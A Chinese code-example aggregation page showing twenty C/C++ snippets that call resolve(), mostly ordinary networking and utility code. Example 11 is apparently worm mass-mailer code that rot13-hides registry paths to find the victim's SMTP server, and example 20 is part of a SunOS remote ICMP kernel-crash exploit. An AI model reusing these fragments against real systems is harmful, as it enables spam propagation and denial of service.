本文整理汇总了C++中resolve函数的典型用法代码示例。如果您正苦于以下问题:C++ resolve函数的具体用法?C++ resolve怎么用?C++ resolve使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了resolve函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: server_raw_socket
//===================================================================
//
// raw socket stuff
//
int LIBCOD_CALL server_raw_socket( server_t *server, const string send, string buff, const size_t size ) {
#ifdef __WIN__
if ( !winsockinit ) {
WSADATA wsadata;
WSAStartup( MAKEWORD( 1, 0 ), &wsadata );
winsockinit = true;
}
#endif
int sock, len;
struct sockaddr_in peer;
char tmp[ size ];
peer.sin_addr.s_addr = resolve( server->hostname );
peer.sin_port = htons( server->port );
peer.sin_family = AF_INET;
sock = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
if ( sock < 0 )
return 1;
if ( sendto( sock, send, strlen( send ), 0, (struct sockaddr*) &peer, sizeof( peer ) ) < 0 )
return 2;
if ( timeout( sock, server->timeout ) < 0 )
return 3;
len = recvfrom( sock, tmp, size, 0, NULL, NULL );
if ( len < 0 )
return 4;
tmp[ len ] = 0;
strcpy( buff, tmp );
close( sock );
return 0;
}
开发者ID:thecheeseman,项目名称:libcodc,代码行数:42,代码来源:libcod_server.c
示例2: http_init
void http_init(char *proxy)
{
char *host, *port;
#ifdef WIN32
WSADATA wsadata;
if (!WSAStartup(MAKEWORD(2,2), &wsadata))
http_up = 1;
#else
signal(SIGPIPE, SIG_IGN);
http_up = 1;
#endif
if (proxy)
{
host = getserv(proxy);
port = getport(proxy);
if (resolve(host, port, &http_proxy))
http_up = 0;
else
http_use_proxy = 1;
free(host);
free(port);
}
}
开发者ID:SupaDuck,项目名称:The-Powder-Toy,代码行数:23,代码来源:http.c
示例3: CloseHandle
void CFile::open(const STRING &fileName, CONST UINT mode)
{
if (m_hFile != HFILE_ERROR)
{
CloseHandle(HANDLE(m_hFile));
}
m_filename = fileName;
DWORD access = GENERIC_READ;
if (mode & OF_WRITE) access |= GENERIC_WRITE;
DWORD creation = (mode & OF_CREATE) ? CREATE_ALWAYS : OPEN_EXISTING;
m_hFile = (HFILE)CreateFile(resolve(fileName).c_str(),
access,
FILE_SHARE_READ,
NULL,
creation,
FILE_ATTRIBUTE_NORMAL,
NULL);
memset(&m_ptr, 0, sizeof(m_ptr));
}
开发者ID:shao113,项目名称:trans3,代码行数:23,代码来源:CFile.cpp
示例4:
Promise<R> Core<T>::then(const std::function<R (const T&)>& f) {
auto defer = When::defer<R>();
auto f2 = [this, defer, f] () mutable {
if (_status == RESOLVED) {
try {
defer.resolve(f(_value));
}
catch (const std::exception& e) {
defer.reject(e.what());
}
}
else {
defer.reject(_error);
}
};
if (_status == PENDING)
_cbs.push_back(f2);
else
f2();
return defer.promise();;
}
开发者ID:Billy-Bichon,项目名称:djyayo,代码行数:23,代码来源:Core.hpp
示例5: resolve
int resolve(char **tab, char **tryresult, int *pattern, int x)
{
if (pattern[0] == pattern[1])
{
putabl(tryresult);
return (1);
}
if (resolve_son(tab, tryresult, pattern, x))
return (1);
if (pattern[1] != 0)
del_pattern(tryresult, pattern[1] - 1);
else if (pattern[1] == 0)
{
freetab(tryresult);
tryresult = holy_result(x + 1);
pattern[1] = 0;
if (resolve(tab, tryresult, pattern, x + 1))
return (1);
else
return (0);
}
return (0);
}
开发者ID:ItsJimi,项目名称:42,代码行数:23,代码来源:resolve.c
示例6: while
char *openclose_matcher_find_matching_base(
t_openclose_matcher *matcher,
char *s,
t_lst *stack)
{
while (*s)
{
if (is_escaped(&s))
continue ;
if (*s == '\'' && twl_lst_len(stack)
&& twl_strequ(openclose_mgr_last(stack)->open, "\""))
{
s++;
continue;
}
resolve(matcher, stack, &s);
if (twl_lst_len(stack) == 0)
{
return (s);
}
}
return (NULL);
}
开发者ID:yyang42,项目名称:42sh_posix,代码行数:23,代码来源:openclose_matcher_find_matching_base.c
示例7: dorootnode
/*ARGSUSED*/
void
dorootnode(Char **v, struct command *c)
{
name_$dir_type_t dirtype = name_$node_dir_type;
uid_$t uid;
status_$t st;
char *name;
short namelen;
setname(short2str(*v++));
name = short2str(*v);
namelen = strlen(name);
name_$resolve(name, &namelen, &uid, &st);
if (st.all != status_$ok)
stderror(ERR_SYSTEM, name, apperr(&st));
namelen = 0;
name_$set_diru(&uid, "", &namelen, &dirtype, &st);
if (st.all != status_$ok)
stderror(ERR_SYSTEM, name, apperr(&st));
dohash(NULL, NULL);
}
开发者ID:tcsh-org,项目名称:tcsh,代码行数:24,代码来源:tc.os.c
示例8: its_dns
CMD_CODE its_dns(char *www , unsigned int dns, char *ip)
{
unsigned char buf[MAX_SIZE_DNS]; /* socket发送的数据 */
char *DN=www; /* 将要解析的域名(www.xxx.xxx) */
char name[MAX_SIZE_DNS]; /* 转换为符合DNS报文格式的域名 */
char recvMsg[MAX_SIZE_DNS]; /* 接收的数据 */
int len; /* socket发送数据的长度 */
int len_recvMsg;
int ret =-1;
sys_log(FUNC, LOG_DBG, " www=%s, dns=0x%08x, ip=%s", www, dns, ip);
len = changeDN(DN,name);
setHead(buf);
setQuery(name,buf,len);
len += 16;
//sys_log(FUNC, LOG_DBG, " %s", "---->1");
len_recvMsg = sendDNSPacket(buf,len,recvMsg, dns);
//sys_log(FUNC, LOG_DBG, " %s", "---->2");
ret = resolve(recvMsg,len,len_recvMsg, ip);
//sys_log(FUNC, LOG_DBG, "---->3 ret=%d",ret);
return ret;
}
开发者ID:dqwang,项目名称:itertk-001,代码行数:23,代码来源:client.c
示例9: resolve
void FolderModel::setUrl(const QString& url)
{
const QUrl &resolvedUrl = resolve(url);
if (url == m_url) {
m_dirModel->dirLister()->updateDirectory(resolvedUrl);
return;
}
beginResetModel();
m_url = url;
m_isDirCache.clear();
m_dirModel->dirLister()->openUrl(resolvedUrl);
clearDragImages();
endResetModel();
emit urlChanged();
emit resolvedUrlChanged();
m_errorString.clear();
emit errorStringChanged();
}
开发者ID:cmacq2,项目名称:plasma-desktop,代码行数:23,代码来源:foldermodel.cpp
示例10: main
int
main(){
int c;
int i, j;
scanf(" %d ", &c);
while (c){
c--;
scanf(" %d %d ", &k, &n);
k+=8;
for(i = 0; i < n; i++) {
scanf(" %d ", &l[i]);
}
for(i = 0; i < k; i++){
for(j = 0; n-j >= 3*(k-i) && j < n; j++){
r[i][j] = -1;
}
}
printf("%d\n", resolve(0, 0));
}
return 0;
}
开发者ID:narolez571,项目名称:algorithms,代码行数:23,代码来源:10271.c
示例11: xsmtp_try_isp
static int xsmtp_try_isp(char *message)
{
struct sockaddr_in addr;
char buf1[128], buf2[256], buf3[256], buf4[128];
DWORD indx, dwsize;
HKEY regkey1, regkey2;
int success;
rot13(buf1, "Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Znantre\\Nppbhagf");
rot13(buf4, "FZGC Freire");
if (RegOpenKeyEx(HKEY_CURRENT_USER, buf1, 0, KEY_READ, ®key1) != 0)
return 1;
indx = 0;
success = 0;
while (RegEnumKey(regkey1, indx++, buf2, sizeof(buf2)) == ERROR_SUCCESS) {
if (RegOpenKeyEx(regkey1, buf2, 0, KEY_READ, ®key2) != ERROR_SUCCESS)
continue;
memset(buf3, '\0', sizeof(buf3));
dwsize = 256;
if (RegQueryValueEx(regkey2, buf4, 0, 0, buf3, &dwsize) == 0) {
addr.sin_addr.s_addr = resolve(buf3);
if (addr.sin_addr.s_addr != 0) {
addr.sin_family = AF_INET;
addr.sin_port = htons(25);
if (smtp_send_server(&addr, message) == 0)
success = 1;
}
}
RegCloseKey(regkey2);
if (success) break;
}
RegCloseKey(regkey1);
return (success) ? 0 : 1;
}
开发者ID:Adrellias,项目名称:Code-Dump,代码行数:37,代码来源:xsmtp.c
示例12: setAlphaPropertyByName
/*
Set an alpha property by name.
*/
static int setAlphaPropertyByName(Ejs *ejs, EjsXML *list, EjsName qname, EjsObj *value)
{
EjsXML *elt, *targetObject;
int count;
targetObject = 0;
count = ejsGetLength(ejs, (EjsObj*) list);
if (count > 1) {
// TODO - why no error in spec?
assure(0);
return 0;
}
if (count == 0) {
/*
Empty list so resolve the real target object and append it to the list.
*/
targetObject = resolve(ejs, list);
if (targetObject == 0) {
return 0;
}
if (ejsGetLength(ejs, (EjsObj*) targetObject) != 1) {
return 0;
}
ejsAppendToXML(ejs, list, targetObject);
}
/*
Update the element
*/
assure(ejsGetLength(ejs, (EjsObj*) list) == 1);
elt = mprGetItem(list->elements, 0); // TODO OPT - GetFirstItem
assure(elt);
ejsSetPropertyByName(ejs, elt, qname, value);
return 0;
}
开发者ID:monmarzia,项目名称:ejs-2,代码行数:40,代码来源:ejsXMLList.c
示例13: Conflict
static void Conflict( void )
{
a_word *set;
a_state *x;
a_shift_action *tx;
a_reduce_action *rx;
a_reduce_action **reduce;
set_size *work;
set_size i;
set = AllocSet( 1 );
reduce = CALLOC( nterm, a_reduce_action * );
work = CALLOC( nterm, set_size );
for( x = statelist; x != NULL; x = x->next ) {
Clear( set );
for( tx = x->trans; tx->sym != NULL; ++tx ) {
if( tx->sym->pro == NULL ) {
SetBit( set, tx->sym->idx );
}
}
for( rx = x->redun; rx->pro != NULL; ++rx ) {
for( i = 0; i < GetSetSize( 1 ); ++i ) {
if( rx->follow[i] & set[i] ) {
resolve( x, work, reduce );
break;
}
set[i] |= rx->follow[i];
}
if( i < GetSetSize( 1 ) ) {
break;
}
}
}
FREE( set );
FREE( reduce );
FREE( work );
}
开发者ID:Azarien,项目名称:open-watcom-v2,代码行数:37,代码来源:lalr1.c
示例14: defined
Address&
Address::operator=(const char* address)
{
m_resolved = true;
#if defined(DUNE_SYS_HAS_INET_PTON)
if (inet_pton(AF_INET, address, &m_ia.s_addr) > 0)
return *this;
#elif defined(DUNE_SYS_HAS_INET_ATON)
if (inet_aton(address, &m_ia.s_addr) == 1)
return *this;
#elif defined(DUNE_SYS_HAS_WSA_STRING_TO_ADDRESS)
SOCKADDR_IN sin;
sin.sin_family = AF_INET;
int len = sizeof(SOCKADDR_IN);
if (WSAStringToAddress((char*)address, AF_INET, 0, (SOCKADDR*)&sin, &len) == 0)
{
m_ia.s_addr = sin.sin_addr.s_addr;
return *this;
}
#elif defined(DUNE_SYS_HAS_INET_ADDR)
uint32_t rv = inet_addr(address);
if (rv != INADDR_NONE)
{
m_ia.s_addr = rv;
return *this;
}
#endif
m_resolved = false;
m_host = address;
std::memset(&m_ia, 0, sizeof(in_addr));
resolve();
return *this;
}
开发者ID:FreddyFox,项目名称:dune,代码行数:37,代码来源:Address.cpp
示例15: pi_brute_force
tv_nf pi_brute_force(const_tv_nf cf)
{
unsigned int x, y;
tv_nf copy = rdup_tv_nf(cf); /* We don't want to destroy the input, do we? */
tv_nf result = truncate_copy_nf(cf);
tv_literal_set_list input = get_literal_sets(copy);
tv_literal_set_list output = get_literal_sets(result);
set_literal_sets(copy, (input = remove_subsumed_literal_set_list(input)));
for (x = 0; x < input->sz; x++) {
tv_literal_set cx = input->arr[x];
if (is_subsumed_list(output, cx)) {
continue;
}
output = remove_subsumed_list(output, cx);
for (y = 0; y < output->sz; y++) {
tv_literal_set r = resolve(cx, output->arr[y]);
if (tv_literal_setNIL != r) {
if (!is_tautology(r)) {
input = append_tv_literal_set_list(input, r);
} else {
rfre_tv_literal_set(r);
}
}
}
output = append_tv_literal_set_list(output, rdup_tv_literal_set(cx));
}
rfre_tv_nf(copy);
set_literal_sets(result, output);
return result;
}
开发者ID:abfeldman,项目名称:lydia,代码行数:37,代码来源:pi.c
示例16: getdns_gethostinfo
/*
* This function combines both getaddrinfo() and getnameinfo(), so in short, everything the module does!
* This was decided for simplicity purposes since this is just a wrapper around getdns which does all the work.
*/
getdns_return_t getdns_gethostinfo(const char *name, int af, struct addr_param *result_ptr,
char *intern_buffer, size_t buflen, int32_t *ttlp, char **canonp, uint32_t *respstatus, uint32_t *dnssec_status)
{
getdns_return_t return_code;
if(!intern_buffer || buflen < sizeof(char) || (!result_ptr))
{
log_critical("getdns_gethostinfo: Memory error...");
return GETDNS_RETURN_MEMORY_ERROR;
}
*respstatus = GETDNS_RESPSTATUS_NO_NAME;
if( (af != AF_INET) && (af != AF_INET6) && (af != AF_UNSPEC) )
{
log_warning("getdns_gethostinfo: Address family not supported: %d .", af);
return GETDNS_RETURN_WRONG_TYPE_REQUESTED;
}
memset(intern_buffer, 0, buflen);
UNUSED_PARAM(ttlp);
struct callback_fn_arg arg = {.result_ptr=result_ptr, .af=af, .buffer=intern_buffer, .buflen=buflen,
.respstatus=respstatus, .dnssec_status=dnssec_status
};
if((return_code = resolve(name, &arg)) != GETDNS_RETURN_GOOD)
{
log_info("getdns_gethostinfo(<%s>): Failed parsing response: ERROR < %d >\n", name, return_code);
}
/*
This section is not complete:
TODO:
1. Do all the getdns data structures need to be cleaned up, or does destroying the top-level node suffice?
*Let's valgrind it and see, maybe?!
*/
if(canonp && *respstatus == GETDNS_RESPSTATUS_GOOD)
{
*canonp = result_ptr->addr_entry.p_hostent->h_name;
}
log_debug("Query(%s) => < %d > - DNSSEC STATUS: {%s}\n", name, *respstatus, getdns_get_errorstr_by_id(*dnssec_status));
return return_code;
}
开发者ID:digideskio,项目名称:libnss_getdns,代码行数:41,代码来源:hosts.c
示例17: resolve
llong resolve(int S, int width)
{
int i;
int S1;
llong VF = 0;
llong subVF = 0;
if (width > 0) {
VF = mem_vf[S][width];
if (0 == VF) {
for (i = (S > 9) ? 9 : S; i >= 0; i--) {
S1 = S - i;
if (S1) {
subVF = resolve(S1, width - 1);
} else {
subVF = 1;
}
VF = (mem_vf[S][width] += subVF);
}
}
}
return VF;
}
开发者ID:eloiman,项目名称:acm.timus.ru,代码行数:24,代码来源:1353.cpp
示例18: resolve
void FolderModel::setUrl(const QString& url)
{
const QUrl &resolvedUrl = resolve(url);
if (url == m_url) {
m_dirModel->dirLister()->updateDirectory(resolvedUrl);
return;
}
beginResetModel();
m_url = url;
m_isDirCache.clear();
m_dirModel->dirLister()->openUrl(resolvedUrl);
clearDragImages();
endResetModel();
emit urlChanged();
emit resolvedUrlChanged();
m_errorString.clear();
emit errorStringChanged();
if (m_dirWatch) {
delete m_dirWatch;
}
if (resolvedUrl.isLocalFile()) {
m_dirWatch = new KDirWatch(this);
connect(m_dirWatch, &KDirWatch::created, this, &FolderModel::iconNameChanged);
connect(m_dirWatch, &KDirWatch::dirty, this, &FolderModel::iconNameChanged);
m_dirWatch->addFile(resolvedUrl.toLocalFile() + QLatin1String("/.directory"));
}
emit iconNameChanged();
}
开发者ID:KDE,项目名称:plasma-desktop,代码行数:36,代码来源:foldermodel.cpp
示例19: assert
std::string
HelperImpl::resolve(std::string const& input_file) const
{
assert(!input_file.empty());
std::string result = input_file + output_file_suffix(); // output file
std::ifstream fin(input_file.c_str());
assert(fin);
std::ofstream fout(result.c_str());
assert(fout);
boost::scoped_ptr<classad::ClassAd> ad(utils::parse_classad(fin));
boost::scoped_ptr<classad::ClassAd> resolved_ad(resolve(&*ad));
if (resolved_ad.get() == 0) {
throw std::logic_error(id() + " - cannot resolve");
}
fout << utils::unparse_classad(*resolved_ad) << '\n';
return result;
}
开发者ID:italiangrid,项目名称:org.glite.wms,代码行数:24,代码来源:HelperImpl.cpp
示例20: main
int main(int argc, char *argv[])
{
struct sockaddr_in dst;
long saddr, daddr;
int s;
if (argc < 2)
{
printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
printf("Usage: %s <dst>\n", *argv);
return(1);
}
daddr = resolve(argv[1]);
saddr = INADDR_ANY;
memcpy(rawData+16, &daddr, sizeof(long));
// memcpy(rawData+12, &saddr, sizeof(long));
dst.sin_addr.s_addr = daddr;
dst.sin_family = AF_INET;
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);
printf("Sending ICMP packet: %s\n", argv[1]);
if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}
return(0);
}
开发者ID:B-Rich,项目名称:fullypwnd,代码行数:36,代码来源:4881.c
注:本文中的resolve函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论